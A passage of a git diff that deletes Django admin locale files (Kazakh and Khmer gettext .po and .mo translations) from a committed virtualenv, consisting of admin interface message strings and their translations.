%(name)s application" -msgstr "" - -msgid "Add" -msgstr "Қосу" - -msgid "You don't have permission to view or edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Қол жетімдісі жоқ" - -msgid "Unknown content" -msgstr "Белгісіз мазмұн" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Дерекқор орнатуыңызда бір қате бар. Дерекқор кестелері дұрыс құрылғаның және " -"дерекқор көрсетілген дерекқор пайдаланушыда оқұ рұқсаты бар." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "Өшіру/Уақыт" - -msgid "User" -msgstr "Қолданушы" - -msgid "Action" -msgstr "Әрекет" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Бұл объекттың өзгерту тарихы жоқ. Мүмкін ол бұл сайт арқылы енгізілген жоқ." - -msgid "Show all" -msgstr "Барлығын көрсету" - -msgid "Save" -msgstr "Сақтау" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Іздеу" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s нәтиже" -msgstr[1] "%(counter)s нәтиже" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Барлығы %(full_result_count)s" - -msgid "Save as new" -msgstr "Жаңадан сақтау" - -msgid "Save and add another" -msgstr "Сақта және жаңасын қос" - -msgid "Save and continue editing" -msgstr "Сақта және өзгертуді жалғастыр" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Бүгін Веб-торапқа уақыт бөлгеніңіз үшін рахмет." - -msgid "Log in again" -msgstr "Қайтадан кіріңіз" - -msgid "Password change" -msgstr "Құпия сөзді өзгерту" - -msgid "Your password was changed." -msgstr "Құпия сөзіңіз өзгертілді." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Ескі құпия сөзіңізді енгізіңіз, содан сон сенімді болу үшін жаңа құпия " -"сөзіңізді екі рет енгізіңіз." - -msgid "Change my password" -msgstr "Құпия сөзімді өзгерту" - -msgid "Password reset" -msgstr "Құпия сөзді өзгерту" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Сіздің құпия сөзіңіз енгізілді. Жүйеге кіруіңізге болады." - -msgid "Password reset confirmation" -msgstr "Құпия сөзді өзгерту растау" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Сенімді болу үшін жаңа құпия сөзіңізді екі рет енгізіңіз." - -msgid "New password:" -msgstr "Жаңа құпия сөз:" - -msgid "Confirm password:" -msgstr "Құпия сөз (растау):" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Құпия сөзді өзгерту байланыс дұрыс емес, мүмкін ол осыған дейін " -"пайдаланылды. Жаңа құпия сөзді өзгерту сұрау жіберіңіз." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "Жаңа құпия сөзді тандау үшін мынау бетке кіріңіз:" - -msgid "Your username, in case you've forgotten:" -msgstr "Егер ұмытып қалған болсаңыз, пайдалануш атыңыз:" - -msgid "Thanks for using our site!" -msgstr "Біздің веб-торабын қолданғаныңыз үшін рахмет!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s тобы" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "Құпия сөзді жаңала" - -msgid "All dates" -msgstr "Барлық мерзімдер" - -#, python-format -msgid "Select %s" -msgstr "%s таңда" - -#, python-format -msgid "Select %s to change" -msgstr "%s өзгерту үщін таңда" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Күнтізбелік күн:" - -msgid "Time:" -msgstr "Уақыт:" - -msgid "Lookup" -msgstr "Іздеу" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 0b651513..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.po deleted file mode 100644 index 9c51f35b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,210 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Nurlan Rakhimzhanov , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Kazakh (http://www.transifex.com/django/django/language/kk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kk\n" -"Plural-Forms: nplurals=2; plural=(n!=1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s бар" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "Сүзгіш" - -msgid "Choose all" -msgstr "" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "Өшіру(жою)" - -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s-ң %(sel)s-ы(і) таңдалды" -msgstr[1] "%(cnt)s-ң %(sel)s-ы(і) таңдалды" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Сіздің төмендегі өзгермелі алаңдарда(fields) өзгерістеріңіз бар. Егер артық " -"әрекет жасасаңызб сіз өзгерістеріңізді жоғалтасыз." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Сіз өз өзгерістеріңізді сақтамай, әрекет жасадыңыз. Өтініш, сақтау үшін ОК " -"батырмасын басыңыз және өз әрекетіңізді қайта жасап көріңіз. " - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Сіз Сақтау батырмасына қарағанда, Go(Алға) батырмасын іздеп отырған " -"боларсыз, себебі ешқандай өзгеріс жасамай, әрекет жасадыңыз." - -msgid "Now" -msgstr "Қазір" - -msgid "Midnight" -msgstr "Түн жарым" - -msgid "6 a.m." -msgstr "06" - -msgid "Noon" -msgstr "Талтүс" - -msgid "6 p.m." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Уақытты таңда" - -msgid "Cancel" -msgstr "Болдырмау" - -msgid "Today" -msgstr "Бүгін" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Кеше" - -msgid "Tomorrow" -msgstr "Ертең" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Көрсету" - -msgid "Hide" -msgstr "Жасыру" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/django.mo deleted file mode 100644 index a50821c2..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/django.po deleted file mode 100644 index 8b16d1fc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/django.po +++ /dev/null @@ -1,636 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Khmer (http://www.transifex.com/django/django/language/km/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: km\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "តើលោកអ្នកប្រាកដទេ?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "ទាំងអស់" - -msgid "Yes" -msgstr "យល់ព្រម" - -msgid "No" -msgstr "មិនយល់ព្រម" - -msgid "Unknown" -msgstr "មិន​ដឹង" - -msgid "Any date" -msgstr "កាល​បរិច្ឆេទណាមួយ" - -msgid "Today" -msgstr "ថ្ងៃនេះ" - -msgid "Past 7 days" -msgstr "៧​ថ្ងៃ​កន្លង​មក" - -msgid "This month" -msgstr "ខែ​នេះ" - -msgid "This year" -msgstr "ឆ្នាំ​នេះ" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "លប់ចេញ" - -msgid "action time" -msgstr "ពេលវេលាប្រតិបត្តិការ" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "លេខ​សំគាល់​កម្មវិធី (object id)" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "object repr" - -msgid "action flag" -msgstr "សកម្មភាព" - -msgid "change message" -msgstr "ផ្លាស់ប្តូរ" - -msgid "log entry" -msgstr "កំណត់ហេតុ" - -msgid "log entries" -msgstr "កំណត់ហេតុ" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "និង" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "ពុំមានទិន្នន័យត្រូវបានផ្លាស់ប្តូរ។" - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "ឈ្មោះកម្មវិធី %(name)s \"%(obj)s\" ត្រូវបានលប់ដោយជោគជ័យ។" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "បន្ថែម %s" - -#, python-format -msgid "Change %s" -msgstr "ផ្លាស់ប្តូរ %s" - -msgid "Database error" -msgstr "ទិន្នន័យមូលដ្ឋានមានបញ្ហា" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "សកម្មភាពផ្លាស់ប្តូរកន្លងមក : %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "ទំព័រគ្រប់គ្រងរបស់ Django" - -msgid "Django administration" -msgstr "ការ​គ្រប់គ្រង​របស់ ​Django" - -msgid "Site administration" -msgstr "ទំព័រគ្រប់គ្រង" - -msgid "Log in" -msgstr "ពិនិត្យចូល" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "ទំព័រ​ដែល​លោកអ្នកចង់​រក​នេះពុំមាន​នៅក្នុងម៉ាស៊ីនរបស់យើងខ្ញុំទេ" - -msgid "We're sorry, but the requested page could not be found." -msgstr "សួមអភ័យទោស ទំព័រ​ដែល​លោកអ្នកចង់​រក​នេះពុំមាន​នឹងក្នុងម៉ាស៊ីនរបស់យើងខ្ញុំទេ" - -msgid "Home" -msgstr "គេហទំព័រ" - -msgid "Server error" -msgstr "ម៉ាស៊ីនផ្តល់សេវាកម្ម​ មានបញ្ហា" - -msgid "Server error (500)" -msgstr "ម៉ាស៊ីនផ្តល់សេវាកម្ម​ មានបញ្ហា (៥០០)" - -msgid "Server Error (500)" -msgstr "ម៉ាស៊ីនផ្តល់សេវាកម្ម​ មានបញ្ហា  (៥០០)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "ស្វែងរក" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"តំបូងសូមបំពេញ ឈ្មោះជាសមាជិក និង ពាក្យសំងាត់​។ បន្ទាប់មកលោកអ្នកអាចបំពេញបន្ថែមជំរើសផ្សេងៗទៀតបាន។ " - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "ផ្លាស់ប្តូរពាក្យសំងាត់" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "សូមស្វាគមន៏" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "ឯកសារ" - -msgid "Log out" -msgstr "ចាកចេញ" - -#, python-format -msgid "Add %(name)s" -msgstr "បន្ថែម %(name)s" - -msgid "History" -msgstr "សកម្មភាព​កន្លង​មក" - -msgid "View on site" -msgstr "មើលនៅលើគេហទំព័រដោយផ្ទាល់" - -msgid "Filter" -msgstr "ស្វែងរកជាមួយ" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "លប់" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"ការលប់ %(object_name)s '%(escaped_object)s' អាចធ្វើអោយ​កម្មវិធីដែលពាក់​ព័ន្ធបាត់បង់ ។" -" ក៏ប៉ន្តែលោកអ្នក​ពុំមាន​សិទ្ធិលប់​កម្មវិធី​ប្រភេទនេះទេ។" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"តើលោកអ្នកប្រាកដជាចង់លប់ %(object_name)s \"%(escaped_object)s" -"\"? ការលប់ %(object_name)s '%(escaped_object)s' អាចធ្វើអោយ​កម្មវិធីដែលពាក់​ព័ន្ធបាត់បង់។" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "ខ្ញុំច្បាស់​ជាចង់លប់" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "ផ្លាស់ប្តូរ" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "ដោយ​  %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "បន្ថែម" - -msgid "You don't have permission to edit anything." -msgstr "លោកអ្នកពុំមានសិទ្ធិ ផ្លាស់​ប្តូរ ទេ។" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "គ្មាន" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"មូលដ្ឋាន​ទិន្នន័យ​​​ របស់លោកអ្នក មានបញ្ហា។ តើ លោកអ្នកបាន បង្កើត តារាង​ របស់មូលដ្ឋានទិន្នន័យ​" -" ហើយឬនៅ? តើ​ លោកអ្នកប្រាកដថាសមាជិកអាចអានមូលដ្ឋានទិន្នន័យនេះ​​បានឬទេ? " - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "Date/time" - -msgid "User" -msgstr "សមាជិក" - -msgid "Action" -msgstr "សកម្មភាព" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"កម្មវិធីនេះមិនមានសកម្មភាព​កន្លងមកទេ។ ប្រហែលជាសកម្មភាពទាំងនេះមិនបានធ្វើនៅទំព័រគ្រប់គ្រងនេះ។" - -msgid "Show all" -msgstr "បង្ហាញទាំងអស់" - -msgid "Save" -msgstr "រក្សាទុក" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "សរុបទាំងអស់ %(full_result_count)s" - -msgid "Save as new" -msgstr "រក្សាទុក" - -msgid "Save and add another" -msgstr "រក្សាទុក ហើយ បន្ថែម​ថ្មី" - -msgid "Save and continue editing" -msgstr "រក្សាទុក ហើយ កែឯកសារដដែល" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "សូមថ្លែងអំណរគុណ ដែលបានចំណាយ ពេលវេលាដ៏មានតំលៃ របស់លោកអ្នកមកទស្សនាគេហទំព័ររបស់យើងខ្ញុំ" - -msgid "Log in again" -msgstr "ពិនិត្យចូលម្តងទៀត" - -msgid "Password change" -msgstr "ផ្លាស់ប្តូរពាក្យសំងាត់" - -msgid "Your password was changed." -msgstr "ពាក្យសំងាត់របស់លោកអ្នកបានផ្លាស់ប្តូរហើយ" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "សូមបំពេញពាក្យសំងាត់ចាស់របស់លោកអ្នក។ ដើម្បីសុវត្ថភាព សូមបំពេញពាក្យសំងាត់ថ្មីខាងក្រោមពីរដង។" - -msgid "Change my password" -msgstr "ផ្លាស់ប្តូរពាក្យសំងាត់" - -msgid "Password reset" -msgstr "ពាក្យសំងាត់បានកំណត់សារជាថ្មី" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "ពាក្យសំងាត់ថ្មី" - -msgid "Confirm password:" -msgstr "បំពេញពាក្យសំងាត់ថ្មីម្តងទៀត" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "ឈ្មោះជាសមាជិកក្នុងករណីភ្លេច:" - -msgid "Thanks for using our site!" -msgstr "សូមអរគុណដែលបានប្រើប្រាស់សេវាកម្មរបស់យើងខ្ញុំ" - -#, python-format -msgid "The %(site_name)s team" -msgstr "ក្រុមរបស់គេហទំព័រ %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "កំណត់ពាក្យសំងាត់សារជាថ្មី" - -msgid "All dates" -msgstr "កាលបរិច្ឆេទទាំងអស់" - -#, python-format -msgid "Select %s" -msgstr "ជ្រើសរើស %s" - -#, python-format -msgid "Select %s to change" -msgstr "ជ្រើសរើស %s ដើម្បីផ្លាស់ប្តូរ" - -msgid "Date:" -msgstr "កាលបរិច្ឆេទ" - -msgid "Time:" -msgstr "ម៉ោង" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/djangojs.mo deleted file mode 100644 index c0b94c12..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/djangojs.po deleted file mode 100644 index fbe0ae15..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/km/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,201 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Khmer (http://www.transifex.com/django/django/language/km/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: km\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s ដែលអាច​ជ្រើសរើសបាន" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "ស្វែងរកជាមួយ" - -msgid "Choose all" -msgstr "ជ្រើសរើសទាំងអស់" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "លប់ចេញ" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s ដែលបានជ្រើសរើស" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" - -msgid "Now" -msgstr "ឥឡូវនេះ" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "ជ្រើសរើសម៉ោង" - -msgid "Midnight" -msgstr "អធ្រាត្រ" - -msgid "6 a.m." -msgstr "ម៉ោង ៦ ព្រឹក" - -msgid "Noon" -msgstr "ពេលថ្ងែត្រង់" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "លប់ចោល" - -msgid "Today" -msgstr "ថ្ងៃនេះ" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "ម្សិលមិញ" - -msgid "Tomorrow" -msgstr "ថ្ងៃស្អែក" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/kn/LC_MESSAGES/django.mo 